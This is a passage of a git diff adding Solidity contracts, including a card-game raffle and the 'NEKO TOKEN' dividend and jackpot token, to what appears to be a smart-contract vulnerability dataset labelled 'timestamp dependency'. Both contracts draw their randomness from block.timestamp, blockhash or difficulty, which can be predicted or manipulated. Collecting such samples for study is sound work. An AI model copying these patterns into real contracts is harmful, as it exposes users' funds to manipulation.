{ + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + +contract ReleasableToken is ERC20, Ownable { + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + + if(!released) { + if(!transferAgents[_sender]) { + throw; + } + } + + _; + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + + + releaseAgent = addr; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + transferAgents[addr] = state; + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + released = true; + } + + + modifier inReleaseState(bool releaseState) { + if(releaseState != released) { + throw; + } + _; + } + + + modifier onlyReleaseAgent() { + if(msg.sender != releaseAgent) { + throw; + } + _; + } + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + +} + + + +contract NullFinalizeAgentExt is FinalizeAgent { + + CrowdsaleExt public crowdsale; + + function NullFinalizeAgentExt(CrowdsaleExt _crowdsale) { + crowdsale = _crowdsale; + } + + + function isSane() public constant returns (bool) { + return true; + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public { + } + + + function finalizeCrowdsale() public { + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/3100.sol b/smart_contract_dataset/timestamp dependency/3100.sol new file mode 100644 index 0000000000000000000000000000000000000000..d4ce25d1912116c6e0aaad51b8db7608bb13ad3f --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/3100.sol @@ -0,0 +1,317 @@ +pragma solidity ^0.4.18; + + + +contract Ownable { + address public owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } +} + +contract AccessAdmin is Ownable { + + + mapping (address => bool) adminContracts; + + + mapping (address => bool) actionContracts; + + function setAdminContract(address _addr, bool _useful) public onlyOwner { + require(_addr != address(0)); + adminContracts[_addr] = _useful; + } + + modifier onlyAdmin { + require(adminContracts[msg.sender]); + _; + } + + function setActionContract(address _actionAddr, bool _useful) public onlyAdmin { + actionContracts[_actionAddr] = _useful; + } + + modifier onlyAccess() { + require(actionContracts[msg.sender]); + _; + } +} + +interface CardsInterface { + function balanceOf(address player) public constant returns(uint256); + function updatePlayersCoinByOut(address player) external; + function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public; + function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; + function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; +} +interface RareInterface { + function getRareItemsOwner(uint256 rareId) external view returns (address); + function getRareItemsPrice(uint256 rareId) external view returns (uint256); + function getRareInfo(uint256 _tokenId) external view returns ( + uint256 sellingPrice, + address owner, + uint256 nextPrice, + uint256 rareClass, + uint256 cardId, + uint256 rareValue + ); + function transferToken(address _from, address _to, uint256 _tokenId) external; + function transferTokenByContract(uint256 _tokenId,address _to) external; + function setRarePrice(uint256 _rareId, uint256 _price) external; + function rareStartPrice() external view returns (uint256); +} +contract CardsRaffle is AccessAdmin { + using SafeMath for SafeMath; + + function CardsRaffle() public { + setAdminContract(msg.sender,true); + setActionContract(msg.sender,true); + } + + CardsInterface public cards ; + RareInterface public rare; + + function setCardsAddress(address _address) external onlyOwner { + cards = CardsInterface(_address); + } + + + function setRareAddress(address _address) external onlyOwner { + rare = RareInterface(_address); + } + + function getRareAddress() public view returns (address) { + return rare; + } + + + event UnitBought(address player, uint256 unitId, uint256 amount); + event RaffleSuccessful(address winner); + + + struct TicketPurchases { + TicketPurchase[] ticketsBought; + uint256 numPurchases; + uint256 raffleRareId; + } + + + struct TicketPurchase { + uint256 startId; + uint256 endId; + } + + + mapping(address => TicketPurchases) private ticketsBoughtByPlayer; + mapping(uint256 => address[]) private rafflePlayers; + + uint256 private constant RAFFLE_TICKET_BASE_PRICE = 10000; + + + uint256 private raffleEndTime; + uint256 private raffleRareId; + uint256 private raffleTicketsBought; + address private raffleWinner; + bool private raffleWinningTicketSelected; + uint256 private raffleTicketThatWon; + + + function buyRaffleTicket(uint256 amount) external { + require(raffleEndTime >= block.timestamp); + require(amount > 0); + + uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_PRICE, amount); + require(cards.balanceOf(msg.sender) >= ticketsCost); + + + cards.updatePlayersCoinByPurchase(msg.sender, ticketsCost); + + + TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender]; + + + if (purchases.raffleRareId != raffleRareId) { + purchases.numPurchases = 0; + purchases.raffleRareId = raffleRareId; + rafflePlayers[raffleRareId].push(msg.sender); + } + + + if (purchases.numPurchases == purchases.ticketsBought.length) { + purchases.ticketsBought.length = SafeMath.add(purchases.ticketsBought.length,1); + } + purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1)); + + + raffleTicketsBought = SafeMath.add(raffleTicketsBought,amount); + + UnitBought(msg.sender,raffleRareId,amount); + } + + + function startRareRaffle(uint256 endTime, uint256 rareId) external onlyAdmin { + require(rareId>0); + require(rare.getRareItemsOwner(rareId) == getRareAddress()); + require(block.timestamp < endTime); + + if (raffleRareId != 0) { + require(raffleWinner != 0); + } + + + raffleWinningTicketSelected = false; + raffleTicketThatWon = 0; + raffleWinner = 0; + raffleTicketsBought = 0; + + + raffleEndTime = endTime; + raffleRareId = rareId; + } + + function awardRafflePrize(address checkWinner, uint256 checkIndex) external { + require(raffleEndTime < block.timestamp); + require(raffleWinner == 0); + require(rare.getRareItemsOwner(raffleRareId) == getRareAddress()); + + if (!raffleWinningTicketSelected) { + drawRandomWinner(); + } + + + if (checkWinner != 0) { + TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner]; + if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleRareId == raffleRareId) { + TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex]; + if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) { + assignRafflePrize(checkWinner); + return; + } + } + } + + + for (uint256 i = 0; i < rafflePlayers[raffleRareId].length; i++) { + address player = rafflePlayers[raffleRareId][i]; + TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; + + uint256 endIndex = playersTickets.numPurchases - 1; + + if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) { + for (uint256 j = 0; j < playersTickets.numPurchases; j++) { + TicketPurchase storage playerTicket = playersTickets.ticketsBought[j]; + if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) { + assignRafflePrize(player); + return; + } + } + } + } + } + + function assignRafflePrize(address winner) internal { + raffleWinner = winner; + uint256 newPrice = (rare.rareStartPrice() * 25) / 20; + rare.transferTokenByContract(raffleRareId,winner); + rare.setRarePrice(raffleRareId,newPrice); + + cards.updatePlayersCoinByOut(winner); + uint256 upgradeClass; + uint256 unitId; + uint256 upgradeValue; + (,,,,upgradeClass, unitId, upgradeValue) = rare.getRareInfo(raffleRareId); + + cards.upgradeUnitMultipliers(winner, upgradeClass, unitId, upgradeValue); + + RaffleSuccessful(winner); + } + + + function drawRandomWinner() public onlyAdmin { + require(raffleEndTime < block.timestamp); + require(!raffleWinningTicketSelected); + + uint256 seed = SafeMath.add(raffleTicketsBought , block.timestamp); + raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, raffleTicketsBought); + raffleWinningTicketSelected = true; + } + + + function getRafflePlayers(uint256 raffleId) external constant returns (address[]) { + return (rafflePlayers[raffleId]); + } + + + function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) { + TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; + + if (playersTickets.raffleRareId == raffleRareId) { + uint256[] memory startIds = new uint256[](playersTickets.numPurchases); + uint256[] memory endIds = new uint256[](playersTickets.numPurchases); + + for (uint256 i = 0; i < playersTickets.numPurchases; i++) { + startIds[i] = playersTickets.ticketsBought[i].startId; + endIds[i] = playersTickets.ticketsBought[i].endId; + } + } + + return (startIds, endIds); + } + + + + function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) { + return (raffleEndTime, raffleRareId, raffleTicketsBought, raffleWinner, raffleTicketThatWon); + } +} + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/3125.sol b/smart_contract_dataset/timestamp dependency/3125.sol new file mode 100644 index 0000000000000000000000000000000000000000..727a109a2fdab0cb5548a3b7ff922240f1ef06e1 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/3125.sol @@ -0,0 +1,753 @@ +pragma solidity ^0.4.20; + + + +contract NekoToken { + + + modifier onlyBagholders() { + require(myTokens() > 0); + _; + } + + + modifier onlyStronghands() { + require(myDividends(true) > 0); + _; + } + + + + + + + + + + + modifier onlyAdministrator(){ + address _customerAddress = msg.sender; + require(administrators[_customerAddress]); + _; + } + + + + + + modifier antiEarlyWhale(uint256 _amountOfEthereum){ + address _customerAddress = msg.sender; + + + + if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ + require( + + ambassadors_[_customerAddress] == true && + + + (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ + + ); + + + ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); + + + _; + } else { + + onlyAmbassadors = false; + _; + } + + } + + + + event onTokenPurchase( + address indexed customerAddress, + uint256 incomingEthereum, + uint256 tokensMinted, + address indexed referredBy + ); + + event onTokenSell( + address indexed customerAddress, + uint256 tokensBurned, + uint256 ethereumEarned + ); + + event onReinvestment( + address indexed customerAddress, + uint256 ethereumReinvested, + uint256 tokensMinted + ); + + event onWithdraw( + address indexed customerAddress, + uint256 ethereumWithdrawn + ); + + event onWin( + address indexed customerAddress, + uint256 ethereumWon + ); + + + event Transfer( + address indexed from, + address indexed to, + uint256 tokens + ); + + + + string public name = "NEKO TOKEN"; + string public symbol = "NEKO"; + uint8 constant public decimals = 18; + uint8 constant internal dividendFee_ = 4; + uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; + uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; + uint256 constant internal magnitude = 2**64; + + + uint256 public stakingRequirement = 100e18; + + + mapping(address => bool) internal ambassadors_; + uint256 constant internal ambassadorMaxPurchase_ = 5 ether; + uint256 constant internal ambassadorQuota_ = 10 ether; + + + + + + mapping(address => uint256) internal tokenBalanceLedger_; + mapping(address => uint256) internal referralBalance_; + mapping(address => int256) internal payoutsTo_; + mapping(address => uint256) internal ambassadorAccumulatedQuota_; + uint256 internal tokenSupply_ = 0; + uint256 internal profitPerShare_; + + uint256 internal jackpot_ = 0; + + + mapping(address => bool) public administrators; + + + bool public onlyAmbassadors = true; + + address Master; + + uint256 jackpotThreshold; + + uint jackpotFactor = 250; + + uint256 jackpotCounter = 0; + + address lastWinner = 0x0000000000000000000000000000000000000000; + + + + + function NekoToken() + public + { + + administrators[msg.sender] = true; + + ambassadors_[0xa9eB31931417d89b233681dfb319783b1703C998] = true; + ambassadors_[0x3662496Bd906054f535D534c46d130A4ee36624C] = true; + ambassadors_[0x83c0Efc6d8B16D87BFe1335AB6BcAb3Ed3960285] = true; + ambassadors_[0xAD6D6c25FCDAb2e737e8de31795df4c6bB6D9Bae] = true; + + ambassadors_[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true; + + Master = msg.sender; + + onlyAmbassadors = true; + + jackpotThreshold = random() * 1e15 * jackpotFactor; + + + } + + + + function buy(address _referredBy) + public + payable + returns(uint256) + { + purchaseTokens(msg.value, _referredBy); + + } + + + function() + payable + public + { + purchaseTokens(msg.value, 0x0); + } + + + function reinvest() + onlyStronghands() + public + { + + uint256 _dividends = myDividends(false); + + + address _customerAddress = msg.sender; + payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); + + + _dividends += referralBalance_[_customerAddress]; + referralBalance_[_customerAddress] = 0; + + + uint256 _tokens = purchaseTokens(_dividends, 0x0); + + + onReinvestment(_customerAddress, _dividends, _tokens); + } + + + function exit() + public + { + + address _customerAddress = msg.sender; + uint256 _tokens = tokenBalanceLedger_[_customerAddress]; + if(_tokens > 0) sell(_tokens); + + + withdraw(); + } + + + function withdraw() + onlyStronghands() + public + { + + address _customerAddress = msg.sender; + uint256 _dividends = myDividends(false); + + + payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); + + + _dividends += referralBalance_[_customerAddress]; + referralBalance_[_customerAddress] = 0; + + + _customerAddress.transfer(_dividends); + + + onWithdraw(_customerAddress, _dividends); + } + + + function sell(uint256 _amountOfTokens) + onlyBagholders() + public + { + + address _customerAddress = msg.sender; + + require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); + uint256 _tokens = _amountOfTokens; + uint256 _ethereum = tokensToEthereum_(_tokens); + uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); + uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); + + + tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); + tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); + + + int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); + payoutsTo_[_customerAddress] -= _updatedPayouts; + + + if (tokenSupply_ > 0) { + + profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); + } + + + onTokenSell(_customerAddress, _tokens, _taxedEthereum); + } + + + + function transfer(address _toAddress, uint256 _amountOfTokens) + onlyBagholders() + public + returns(bool) + { + + address _customerAddress = msg.sender; + + + + + require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); + + + if(myDividends(true) > 0) withdraw(); + + + + uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); + uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); + uint256 _dividends = tokensToEthereum_(_tokenFee); + + + tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); + + + tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); + tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); + + + payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); + payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); + + + profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); + + + Transfer(_customerAddress, _toAddress, _taxedTokens); + + + return true; + + } + + + + + function disableInitialStage() + onlyAdministrator + public + { + onlyAmbassadors = true; + } + + + function setAdministrator(address _identifier, bool _status) + onlyAdministrator() + public + { + administrators[_identifier] = _status; + } + + + function setStakingRequirement(uint256 _amountOfTokens) + onlyAdministrator() + public + { + stakingRequirement = _amountOfTokens; + } + + + function setName(string _name) + onlyAdministrator() + public + { + name = _name; + } + + + function setJackpotFactor(uint _factor) + onlyAdministrator() + public + { + jackpotFactor = _factor; + } + + + function setSymbol(string _symbol) + onlyAdministrator() + public + { + symbol = _symbol; + } + + + + + + function totalEthereumBalance() + public + view + returns(uint) + { + return this.balance; + } + + + function totalSupply() + public + view + returns(uint256) + { + return tokenSupply_; + } + + + function myTokens() + public + view + returns(uint256) + { + address _customerAddress = msg.sender; + return balanceOf(_customerAddress); + } + + + function myDividends(bool _includeReferralBonus) + public + view + returns(uint256) + { + address _customerAddress = msg.sender; + return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; + } + + + function balanceOf(address _customerAddress) + view + public + returns(uint256) + { + return tokenBalanceLedger_[_customerAddress]; + } + + + function jackpot() + public + view + returns(uint256) + { + return jackpot_; + } + + + function getLastWinner() + public + view + returns(address) + { + return lastWinner; + } + + + + function dividendsOf(address _customerAddress) + view + public + returns(uint256) + { + return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; + } + + + function sellPrice() + public + view + returns(uint256) + { + + if(tokenSupply_ == 0){ + return tokenPriceInitial_ - tokenPriceIncremental_; + } else { + uint256 _ethereum = tokensToEthereum_(1e18); + uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); + uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); + return _taxedEthereum; + } + } + + + function buyPrice() + public + view + returns(uint256) + { + + if(tokenSupply_ == 0){ + return tokenPriceInitial_ + tokenPriceIncremental_; + } else { + uint256 _ethereum = tokensToEthereum_(1e18); + uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); + uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); + return _taxedEthereum; + } + } + + + function calculateTokensReceived(uint256 _ethereumToSpend) + public + view + returns(uint256) + { + uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); + uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); + uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); + + return _amountOfTokens; + } + + + function calculateEthereumReceived(uint256 _tokensToSell) + public + view + returns(uint256) + { + require(_tokensToSell <= tokenSupply_); + uint256 _ethereum = tokensToEthereum_(_tokensToSell); + uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); + uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); + return _taxedEthereum; + } + + + + + + function purchaseTokens(uint256 _incomingEthereum, address _referredBy) + antiEarlyWhale(_incomingEthereum) + internal + returns(uint256) + { + + address _customerAddress = msg.sender; + uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); + uint256 _referralBonus = SafeMath.div(_undividedDividends, 4); + + + + uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); + _dividends = SafeMath.sub(_dividends, _referralBonus); + + + uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); + + uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); + + + + uint256 _fee = _dividends * magnitude; + + jackpotCounter += _incomingEthereum; + + + + + + + + require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); + + + if( + + _referredBy != 0x0000000000000000000000000000000000000000 && + + + _referredBy != _customerAddress && + + + + tokenBalanceLedger_[_referredBy] >= stakingRequirement + ){ + + referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); + + jackpot_ = SafeMath.add(jackpot_, _referralBonus); + + } else { + + + + jackpot_ = SafeMath.add(jackpot_, _referralBonus); + + referralBalance_[Master] = SafeMath.add(referralBalance_[Master], _referralBonus); + + } + + + if(tokenSupply_ > 0){ + + + tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); + + + profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); + + + _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); + + } else { + + tokenSupply_ = _amountOfTokens; + } + + + tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); + + + + int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); + payoutsTo_[_customerAddress] += _updatedPayouts; + + + + onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); + + checkJackpot(msg.sender); + + + return _amountOfTokens; + } + + + function random() private view returns (uint8) { + return uint8(uint256(keccak256(block.timestamp, block.difficulty))%251); + } + + + function checkJackpot(address _jackpotAddress) + private + returns(uint256) + { + + if (jackpotCounter >= jackpotThreshold) { + + + + uint256 winnings = jackpot_; + + referralBalance_[_jackpotAddress] = SafeMath.add(referralBalance_[_jackpotAddress], jackpot_); + jackpot_ = 0; + jackpotCounter = 0; + jackpotThreshold = random() * 1e15 * jackpotFactor; + lastWinner = _jackpotAddress; + + onWin(msg.sender, winnings); + + return winnings; + } + + } + + + + function ethereumToTokens_(uint256 _ethereum) + internal + view + returns(uint256) + { + uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; + uint256 _tokensReceived = + ( + ( + + SafeMath.sub( + (sqrt + ( + (_tokenPriceInitial**2) + + + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + + + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + + + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) + ) + ), _tokenPriceInitial + ) + )/(tokenPriceIncremental_) + )-(tokenSupply_) + ; + + return _tokensReceived; + } + + + function tokensToEthereum_(uint256 _tokens) + internal + view + returns(uint256) + { + + uint256 tokens_ = (_tokens + 1e18); 